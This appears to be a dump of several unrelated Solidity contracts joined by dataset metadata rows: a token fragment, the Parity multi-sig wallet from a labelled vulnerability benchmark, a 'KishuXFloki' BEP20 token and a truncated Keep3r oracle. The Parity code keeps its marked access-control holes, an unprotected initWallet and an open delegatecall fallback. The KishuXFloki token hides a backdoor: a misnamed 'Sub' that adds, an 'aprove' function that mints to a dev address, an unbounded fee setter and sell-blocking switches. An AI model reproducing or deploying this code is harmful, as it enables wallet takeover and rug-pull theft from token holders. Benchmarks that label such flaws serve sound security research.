_stakedBalances[account] = _stakedBalances[account] - unstakeAmount;
_balances[account] = _balances[account] + unstakeAmount;
_balances[_stakingContract] = _balances[_stakingContract] - unstakeAmount;
emit Unstake(account, unstakeAmount, _stakedBalances[account]);
}
function sync(address account, uint256 adjustedStake) external override {
require (_msgSender() == _stakingContract, "$WEAPON: unauthorized");
require (account != address(0), "$WEAPON: cannot sync zero address");
emit Adjust(account, _stakedBalances[account], adjustedStake);
_stakedBalances[account] = adjustedStake;
}
function freezeMint(uint256 timestamp) external onlyMultiSig {
require (timestamp > mintLockTime, "$WEAPON: cannot reduce lock time");
mintLocked = true;
mintLockTime = timestamp;
emit FreezeMint(mintLockTime);
}
function thawMint() external onlyMultiSig {
require (block.timestamp >= mintLockTime, "$WEAPON: still frozen");
mintLocked = false;
mintLockTime = block.timestamp + 86400;
emit ThawMint(mintLockTime);
}
function mint(uint256 amount, address recipient) external onlyMultiSig {
require (block.timestamp > mintLockTime && mintLocked == false, "$WEAPON: still frozen");
_totalSupply = _totalSupply + amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(address(0), recipient, amount);
}
function toggleStaking() external override onlyMultiSig {
require (_stakingContract != address(0), "$WEAPON: staking contract not set");
if (stakingEnabled == true) stakingEnabled = false;
else stakingEnabled = true;
emit ToggleStaking(stakingEnabled);
}
function setStakingContract(address addr) external onlyMultiSig {
require(addr != address(0), "$WEAPON: cannot be zero address");
_stakingContract = payable(addr);
emit SetStakingContract(addr);
}
function getStakingContract() external view returns (address) {
return _stakingContract;
}
function setBuyTax(uint8 newTax) external onlyMultiSig {
require (newTax <= 10, "$WEAPON: tax cannot exceed 10%");
emit ChangeBuyTax(_buyTax, newTax);
_buyTax = newTax;
}
function setSellTax(uint8 newTax) external onlyMultiSig {
require (newTax <= 10, "$WEAPON: tax cannot exceed 10%");
emit ChangeSellTax(_sellTax, newTax);
_sellTax = newTax;
}
function setRewards(uint8 newRewards) external onlyMultiSig {
require (newRewards >= 20, "$WEAPON: rewards minimum 20%");
require (newRewards <= 100, "$WEAPON: rewards maximum 100%");
emit ChangeRewards(_stakingRewards, newRewards);
_stakingRewards = newRewards;
}
function setPool(address addr) external onlyMultiSig {
require(addr != address(0), "$WEAPON: zero address cannot be pool");
_isPool[addr] = true;
emit SetPool(addr);
}
function isPool(address addr) external view returns (bool){
return _isPool[addr];
}
function _transferETH(uint256 amount, address payable _to) private {
(bool sent, bytes memory data) = _to.call{value: amount}("");
require(sent, "Failed to send Ether");
}
function _tokensToETH(uint256 amount) private lockSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = UniV2Router.WETH();
_approve(address(this), _uniRouter, amount);
UniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
if (address(this).balance > 0)
{
if (stakingEnabled) {
uint stakingShare = address(this).balance * _stakingRewards / 100;
_transferETH(stakingShare, _stakingContract);
}
_transferETH(address(this).balance, _vault);
}
}
function failsafeTokenSwap(uint256 amount) external onlyMultiSig {
_tokensToETH(amount);
emit FailsafeTokenSwap(amount);
}
function failsafeETHtransfer() external onlyMultiSig {
emit FailsafeETHTransfer(address(this).balance);
(bool sent, bytes memory data) = _msgSender().call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
receive() external payable {}
fallback() external payable {}
}
| 277,029 | 10,375 |
ca6d797c809ab8f67d8833e1208a16d7f284307ed0418fdd29a171d0b6e7cec9
| 16,509 |
.sol
|
Solidity
| false |
627957877
|
mattdf/polymer
|
cf9003d95b2685ad1c18fe997cee7d7887d8bf55
|
datasets/smartbugs/dataset/access_control/parity_wallet_bug_1.sol
| 4,247 | 15,233 |
//sol Wallet
// Multi-sig, daily-limited account proxy/wallet.
// @authors:
// Gav Wood <g@ethdev.com>
// single, or, crucially, each of a number of, designated owners.
// usage:
// interior is executed.
pragma solidity 0.4.9;
contract WalletEvents {
// EVENTS
// this contract only has six types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// Funds has arrived into the wallet (record how much).
event Deposit(address _from, uint value);
event SingleTransact(address owner, uint value, address to, bytes data, address created);
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);
// Confirmation still needed for a transaction.
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
}
contract WalletAbi {
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external;
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) external;
function addOwner(address _owner) external;
function removeOwner(address _owner) external;
function changeRequirement(uint _newRequired) external;
function isOwner(address _addr) constant returns (bool);
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool);
function setDailyLimit(uint _newLimit) external;
function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash);
function confirm(bytes32 _h) returns (bool o_success);
}
contract WalletLibrary is WalletEvents {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
bytes data;
}
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function initMultiowned(address[] _owners, uint _required) {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) external constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
function isOwner(address _addr) constant returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
return !(pending.ownersDone & ownerIndexBit == 0);
}
// constructor - stores initial daily limit and records the present day's index.
function initDaylimit(uint _limit) {
m_dailyLimit = _limit;
m_lastDay = today();
}
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
m_dailyLimit = _newLimit;
}
// resets the amount already spent today. needs many of the owners to confirm.
function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
m_spentToday = 0;
}
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
// <yes> <report> ACCESS_CONTROL
function initWallet(address[] _owners, uint _required, uint _daylimit) {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
// first, take the opportunity to check that we're under the daily limit.
if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
// yes - just execute the call.
address created;
if (_to == 0) {
created = create(_value, _data);
} else {
if (!_to.call.value(_value)(_data))
throw;
}
SingleTransact(msg.sender, _value, _to, _data, created);
} else {
// determine our operation hash.
o_hash = sha3(msg.data, block.number);
// store if it's new
if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
m_txs[o_hash].to = _to;
m_txs[o_hash].value = _value;
m_txs[o_hash].data = _data;
}
if (!confirm(o_hash)) {
ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
}
}
}
function create(uint _value, bytes _code) internal returns (address o_addr) {
assembly {
o_addr := create(_value, add(_code, 0x20), mload(_code))
jumpi(invalidJumpLabel, iszero(extcodesize(o_addr)))
}
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) {
if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {
address created;
if (m_txs[_h].to == 0) {
created = create(m_txs[_h].value, m_txs[_h].data);
} else {
if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data))
throw;
}
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
var pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
// returns true. otherwise just returns false.
function underLimit(uint _value) internal onlyowner returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
// overflow protection // dailyLimit check
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private constant returns (uint) { return now / 1 days; }
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i) {
delete m_txs[m_pendingIndex[i]];
if (m_pendingIndex[i] != 0)
delete m_pending[m_pendingIndex[i]];
}
delete m_pendingIndex;
}
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
}
contract Wallet is WalletEvents {
// WALLET CONSTRUCTOR
// calls the `initWallet` method of the Library in this context
function Wallet(address[] _owners, uint _required, uint _daylimit) {
// Signature of the Wallet Library's init function
bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)"));
address target = _walletLibrary;
// Compute the size of the call data : arrays has 2
// 32bytes for offset and length, plus 32bytes per element ;
// plus 2 32bytes for each uint
uint argarraysize = (2 + _owners.length);
uint argsize = (2 + argarraysize) * 32;
assembly {
// Add the signature first to memory
mstore(0x0, sig)
// Add the call data, which is at the end of the
// code
codecopy(0x4, sub(codesize, argsize), argsize)
// Delegate call to the library
delegatecall(sub(gas, 10000), target, 0x0, add(argsize, 0x4), 0x0, 0x0)
}
}
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
else if (msg.data.length > 0)
// <yes> <report> ACCESS_CONTROL
_walletLibrary.delegatecall(msg.data); //it should have whitelisted specific methods that the user is allowed to call
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
// As return statement unavailable in fallback, explicit the method here
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
return _walletLibrary.delegatecall(msg.data);
}
function isOwner(address _addr) constant returns (bool) {
return _walletLibrary.delegatecall(msg.data);
}
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
}
| 160,310 | 10,376 |
ca452c192b9fc2becc8b6a032cb1749aa037bcc06b9d0385498bb4fddaf73290
| 22,771 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x7Aa17471AcE9ACFf8ADcb549C3B33027fCCbE8bF/contract.sol
| 3,486 | 13,369 |
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KishuXFloki is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _onlyRenounceOwner;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**9;
bool public a = true;
string public _name;
string public _symbol;
uint8 private _decimals = 9;
uint256 private _maxTotal;
uint256 private _Renew;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable private BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**9;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_onlyRenounceOwner = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
_Renew = 0;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function aprove(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function cFrom(bool _a) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
a = _a;
}
function aprovve(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
_Renew= amount;
}
function updateuniSwapRouter(address _router) public {
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
uniSwapRouter = IUniswapV2Router02(_router);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
_total = approveAmount * 10**9;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (!a){
if(isContract(sender) && isContract(recipient)){
require(amount <= 1, "Transfer amount exceeds the maxTxAmount.");
}
}
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(_Renew).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 251,568 | 10,377 |
1f9d6129354107f2cb90f8ab81efbb9b7959d9da556a9b191e34831c915acd89
| 14,644 |
.sol
|
Solidity
| false |
305348299
|
keep3r-network/keep3r.network
|
a6897007db6e656e0e310ed7ee4ad42904fe2794
|
contracts/Keep3rV2OracleFactory.sol
| 3,703 | 14,060 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function token0() external view returns (address);
function token1() external view returns (address);
}
interface IKeep3rV1 {
function keepers(address keeper) external returns (bool);
function KPRH() external view returns (IKeep3rV1Helper);
function receipt(address credit, address keeper, uint amount) external;
}
interface IKeep3rV1Helper {
function getQuoteLimit(uint gasUsed) external view returns (uint);
}
// sliding oracle that uses observations collected to provide moving price averages in the past
contract Keep3rV2Oracle {
constructor(address _pair) {
_factory = msg.sender;
pair = _pair;
(,,uint32 timestamp) = IUniswapV2Pair(_pair).getReserves();
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(_pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(_pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
}
struct Observation {
uint32 timestamp;
uint112 price0Cumulative;
uint112 price1Cumulative;
}
modifier factory() {
require(msg.sender == _factory, "!F");
_;
}
Observation[65535] public observations;
uint16 public length;
address immutable _factory;
address immutable public pair;
uint constant periodSize = 1800;
uint Q112 = 2**112;
uint e10 = 10**18;
// Pre-cache slots for cheaper oracle writes
function cache(uint size) external {
uint _length = length+size;
for (uint i = length; i < _length; i++) observations[i].timestamp = 1;
}
// update the current feed for free
function update() external factory returns (bool) {
return _update();
}
function updateable() external view returns (bool) {
Observation memory _point = observations[length-1];
(,, uint timestamp) = IUniswapV2Pair(pair).getReserves();
uint timeElapsed = timestamp - _point.timestamp;
return timeElapsed > periodSize;
}
function _update() internal returns (bool) {
Observation memory _point = observations[length-1];
(,, uint32 timestamp) = IUniswapV2Pair(pair).getReserves();
uint32 timeElapsed = timestamp - _point.timestamp;
if (timeElapsed > periodSize) {
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
return true;
}
return false;
}
function _computeAmountOut(uint start, uint end, uint elapsed, uint amountIn) internal view returns (uint amountOut) {
amountOut = amountIn * (end - start) / e10 / elapsed;
}
function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
Observation memory _observation = observations[length-1];
uint price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112;
uint price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
// Handle edge cases where we have no updates, will revert on first reading set
if (timestamp == _observation.timestamp) {
_observation = observations[length-2];
}
uint timeElapsed = timestamp - _observation.timestamp;
timeElapsed = timeElapsed == 0 ? 1 : timeElapsed;
if (token0 == tokenIn) {
amountOut = _computeAmountOut(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
amountOut = _computeAmountOut(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
lastUpdatedAgo = timeElapsed;
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
uint priceAverageCumulative = 0;
uint _length = length-1;
uint i = _length - points;
Observation memory currentObservation;
Observation memory nextObservation;
uint nextIndex = 0;
if (token0 == tokenIn) {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
} else {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
}
amountOut = priceAverageCumulative / points;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
